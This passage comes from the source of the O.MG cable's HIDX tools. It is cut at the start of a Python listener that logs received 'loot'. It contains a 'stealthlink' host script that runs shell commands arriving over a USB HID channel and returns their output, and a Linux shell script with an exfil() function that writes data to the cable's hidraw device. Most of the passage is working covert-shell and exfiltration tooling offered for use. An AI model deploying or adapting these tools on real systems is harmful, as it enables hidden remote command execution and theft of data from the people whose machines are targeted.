print(f"[!]Socket Exception: {e}") run.clear() #client_socket.shutdown() client_socket.close() break def hidxcli(host, port,reuse=True): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if reuse: server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) run = threading.Event() run.set() rts = threading.Event() rts.set() try: server_socket.bind((host, port)) server_socket.listen(1) server_socket.settimeout(1) print(f"[*]Server listening on {host}:{port}") while run.is_set(): client_socket,addr = None,None try: client_socket, addr = server_socket.accept() recvlog(f"[+]O.MG Device connected from {addr[0]}:{addr[1]}") rts.set() except socket.timeout: pass if client_socket: client_thread = threading.Thread(target=handle_client, args=(client_socket,run,rts,)) client_thread.start() console_thread = threading.Thread(target=console_input, args=(client_socket,run,rts,server_socket,)) console_thread.start() finally: print("[?]Attempting to close..") server_socket.shutdown(socket.SHUT_RDWR) server_socket.close() if __name__ == "__main__": parser = argparse.ArgumentParser(description="Client") parser.add_argument("host", type=str, nargs="?", default="0.0.0.0", help="address to bind to") parser.add_argument("port", type=int, nargs="?", default=1234, help="port to listen on") parser.add_argument("sendlog", type=str, nargs="?", help="message send log") parser.add_argument("recvlog", type=str, nargs="?", default="hidxrecv.log", help="message receive log (for loot)") args = parser.parse_args() global logger_received, logger_sent logger_received = logging.getLogger("received_data") logger_received.addHandler(logging.FileHandler(args.recvlog)) logger_received.setLevel(logging.INFO) logger_sent = None if args.sendlog: logger_sent = logging.getLogger("sent_data") logger_sent.addHandler(logging.FileHandler(args.sendlog)) logger_sent.setLevel(logging.INFO) hidxcli(args.host, args.port) ================================================ FILE: tools/HIDX/python/stealthlink-host-universal.py ================================================ # NOTE: This is a POC only # This has certain limitations on size of packets and writes # You may need root access to use this. # mischief gadgets, wasabi 2023 ##### ##### NOTE: THIS REQUIRES pyusb and libusb (either via pip3 install libusb_package or libusb1.0 library on your system) ##### import os import sys import string import select import pkgutil import usb.core as uc import usb.util as uu import importlib import subprocess import argparse from datetime import datetime # CHANGE THESE TO YOUR CABLES VID AND PID from pprint import pprint class HIDX(): def __init__(self,vid=None,pid=None,debug=False,sbuff=8,rbuff=8): # device information and endpoints self.vid = None self.pid = None self.int = None self.dev = None self.dev_backend = None self.reattach = False self.cfg = None self.debug = debug # set sizes self.read_buff_size = rbuff self.write_buff_size = sbuff # code handlers for errors and messages self.send_buff = [] self.recv_buff = [] self.read_errors = 0 self.write_errors = 0 # start things if we need... if vid and pid: setup = self.setup_dev(vid=vid,pid=pid) self.vid = vid self.pid = pid if self.debug: self.find_devs() if not setup: print("Failed to initalize.") sys.exit(1) else: print("No VID or PID Provided") self.find_devs() def display_dev(self,vid=None,pid=None): if not vid and not pid: hvid = hex(self.vid) hpid = hex(self.pid) else: hvid = hex(vid) hpid = hex(pid) return f"VendorID={hvid} ({vid}), ProductID={hpid} ({pid}). [R:{self.read_buff_size}/S:{self.write_buff_size}]" def do_cmd(self,cmd): debug_send = False if debug_send: print(f"CMD = {cmd}") dt = datetime.now().strftime("%M:%S.%f") user_input = f"HST {dt}\n" return user_input else: #was c = os.popen(cmd) if "cd " in cmd: try: os.chdir(cmd.split(" ")[1]) except: os.chdir(os.getcwd()) c = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) stdout_output = c.stdout stderr_output = c.stderr return stdout_output def find_devs(self): dev = None try: dev = uc.find(find_all=True) self.dev_backend = "pyusb" except uc.NoBackendError: if pkgutil.find_loader('libusb_package'): libusb_package = importlib.import_module('libusb_package') self.dev_backend = "libusb_package" dev = libusb_package.find(find_all=True) else: print("No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. ") return False if dev: print("Detecting Available USB Devices:") for cfg in dev: print('\tUSB Device Found: VendorID=' + hex(cfg.idVendor) + ' & ProductID=' + hex(cfg.idProduct) + '\n') print("\n") else: print("Unable to enumerate available USB Devices. Likely permissions issues!") def setup_dev(self,vid,pid): dev = None dev_id = self.display_dev(vid,pid) if self.debug: print(f"Attempting to find Device: {dev_id}") try: dev = uc.find(idVendor=vid, idProduct=pid) pprint(dev) self.dev_backend = "pyusb" if self.debug: print("Using pyusb+libusb") except uc.NoBackendError: if pkgutil.find_loader('libusb_package'): libusb_package = importlib.import_module('libusb_package') self.dev_backend = "libusb_package" dev = libusb_package.find(idVendor=vid, idProduct=pid) if self.debug: print("Using pyusb+lisbusb_package") else: print("No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. ") return False if not dev: print(f"Could not find device: {dev_id}") return False self.reattach = False try: if hasattr(dev,"is_kernel_driver_active") and dev.is_kernel_driver_active(2): self.reattach = True dev.detach_kernel_driver(2) except NotImplementedError: pass self.cfg = dev.get_active_configuration() self.int = self.cfg.interfaces()[2] self.dev = dev print(f"Found and Connecting to Device: {dev_id}") return True def pad_input(self,input_str, left_pad=False, right_pad=False, chunk_size = 8): if left_pad and right_pad: raise Exception("Cannot add padding on both the left and right side!") # default to right pad if not left_pad and not right_pad: right_pad = True padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size padded_str = None if isinstance(input_str, bytes): input_str = self.decode_msg(input_str) if right_pad: padded_str = input_str + ' ' * padding_length if left_pad: padded_str = ' ' * padding_length + input_str return padded_str def split_output(self,message,chunk_size=8): chunks = [] for i in range(0,len(message),chunk_size): raw_message = message[i:i+chunk_size] padded_message = self.pad_input(raw_message,right_pad=True) chunks.append(padded_message) return chunks def write(self,msg=None, buffer_limit=8): endpoint = self.int.endpoints()[1] error = False start_buffer_size = len(self.send_buff) write_bytes = 0 if msg: self.send_buff=self.send_buff+self.split_output(bytes(msg,'utf-8'),chunk_size=buffer_limit) if self.debug: print(f"Msg:{msg} = {self.send_buff}") if len(self.send_buff)>0: try: part = b"" if len(self.send_buff)>0: part = self.send_buff.pop(0) endpoint.write(part) write_bytes = len(part) end_buffer_size = len(self.send_buff) if self.debug: print(f"Write Buffer: ob:{start_buffer_size},wb:{write_bytes},eb:{end_buffer_size}") except Exception as e: print(f"Error in write, {e}") error = True return error, write_bytes def _read(self, buffer_limit=8,report_size=8,timeout=200): endpoint = self.int.endpoints()[0] res = None error = False raw_message = b"" recv_packets = 0 recv_bytes = 0 try: remainder = buffer_limit+report_size*2 while (remainder > report_size): if self.debug: print("In _read loop...") remainder -= report_size rawdata = bytes(self.dev.read(endpoint.bEndpointAddress, report_size, timeout)).rstrip(b"\x00") procdata = b"" for _r in rawdata: if 32 <= _r <= 126 or _r in [10]: procdata+=chr(_r).encode() raw_message+=procdata #print(f"{remainder}/{report_size} = {procdata}") recv_packets += 1 recv_bytes += len(rawdata) except uc.USBTimeoutError: pass except uc.USBError: print("Lost device, must attempt to reconnect.") #self.reattach=True #self.setup_dev(self.vid,self.pid) error = True pass # for now so we just time out eventually # do a decode if recv_packets>0: data_str = "" for c in raw_message: data_str += chr(c) res = data_str else: pass return error, recv_packets, recv_bytes, res def read(self, retries=1): raw_message = b"" empty_message = 0 error = False recv_bytes=0 recv_packet=0 while retries>0: if self.debug: print("In read loop...") try: error, recv_packet, recv_byte, raw_data = self._read( buffer_limit=(self.read_buff_size*4), report_size=self.read_buff_size ) recv_bytes+=recv_byte recv_packet+=recv_packet if error: print("! Error detected in read()") return raw_message if recv_byte == 0: retries-=1 else: # 0a 20 20 20 20 raw_message+=bytes(raw_data,'utf-8') break except KeyError: error=True retries-=1 if self.debug: print("debug: listening for data") return error, recv_packet, recv_bytes, raw_message def setWriteBuffSize(self,size): self.write_buff_size = size return size def setReadBuffSize(self,size): self.read_buff_size = size return size def decode_msg(self,data): content = None try: content = data.decode('utf-8') except UnicodeDecodeError: content = data.decode('latin-1') return content def start(self,max_errors=5): iter = 1 clear_errcnt = 0 while self.write_errors < max_errors and self.read_errors < max_errors: result = None read_error, recv_packet, recv_bytes, raw_message = self.read() if self.debug: print("In main loop...") if read_error: self.read_errors+=1 else: if recv_bytes > 0 and len(raw_message)>1: commands = raw_message.decode("utf-8").rstrip().replace("\\n","\n").split("\n") for command in commands: if self.debug: print("In command loop...") result = None cleaned_command = command.rstrip().replace("\n","").replace("\r","").rstrip().strip() if self.debug: print(f"RECV: '{cleaned_command}'\n") try: result = self.do_cmd(cleaned_command) except Exception as e: print(f"error! {e}") if result and self.debug: print("Got new data!") if result: result = result + "\x07\x17\x00\x00" write_error,send_bytes = self.write(result,self.write_buff_size) if write_error: self.write_errors+=1 result=None write_error,send_bytes = self.write(result,self.write_buff_size) if write_error: self.write_errors+=1 iter += 1 if (clear_errcnt > 24): self.read_errors = 0 self.write_errors = 0 def send(self,message,max_errors=5): iter = 1 clear_errcnt = 0 write_error,send_bytes = self.write(message,self.write_buff_size) self.write_errors =+ 1 if self.debug: print("Sending message: %d" % len(message)) while len(self.send_buff)>0 and (self.write_errors < max_errors and self.read_errors < max_errors): result = message write_error,send_bytes = self.write(None,self.write_buff_size) if write_error: self.write_errors+=1 iter += 1 if (clear_errcnt > 24): self.read_errors = 0 self.write_errors = 0 if self.write_errors>2: print(f"Send incomplete. Total errored packets: {self.write_errors}") else: print("Send Complete") if __name__ == "__main__": def clean_id(inmsg): hexstr = "0x"+str(inmsg).lower().replace("0x","") return int(hexstr,16) def read_stdin(): content = None # to work around certain windows errors that may pop up try: if not sys.stdin.isatty(): data = sys.stdin.buffer.read().strip() if data: try: # Try decoding using 'utf-8' content = data.decode('utf-8') except UnicodeDecodeError: # If 'utf-8' decoding fails, try 'latin-1' content = data.decode('latin-1') except: pass return content parser = argparse.ArgumentParser(description="HIDUniversal Tool") parser.add_argument("--vid", type=str, default="0xd3c0", help="Specify vid parameter") parser.add_argument("--pid", type=str, default="0xd34d", help="Specify pid parameter") parser.add_argument("--debug", action="store_true", help="Enable debug mode") parser.add_argument("--readbuff", type=int, help="Specify read buffer size",default=8) parser.add_argument("--sendbuff", type=int, help="Specify send buffer size",default=8) args = parser.parse_args() debug = False if args.debug: debug=True print("Starting Up...") hdx = HIDX(vid=clean_id(args.vid),pid=clean_id(args.pid),rbuff=int(args.readbuff),debug=debug,sbuff=int(args.sendbuff)) stdin_data = read_stdin() if stdin_data: if debug: print("In STDIN Mode") hdx.send(stdin_data) else: if debug: print("In Interactive Shell Mode") hdx.start() ================================================ FILE: tools/HIDX/shell/linux-hidexfil.sh ================================================ #!/bin/sh # Note: This uses base components to implement # More advanced techniques are possible # but this is a simple demo to allow you to call exfil "data" # and write it out # wasabi getOMGDev(){ # not perfect but just looking for the last hid device we found devn=$(dmesg|grep hidraw|grep hiddev|grep input2|tail -n1|awk -F ',' '{print $2}'|awk -F ':' '{print $1}') echo $devn } exfil(){ IN="$1" OUT=$(getOMGDev) # thats it! echo "${IN}" > "${OUT}" }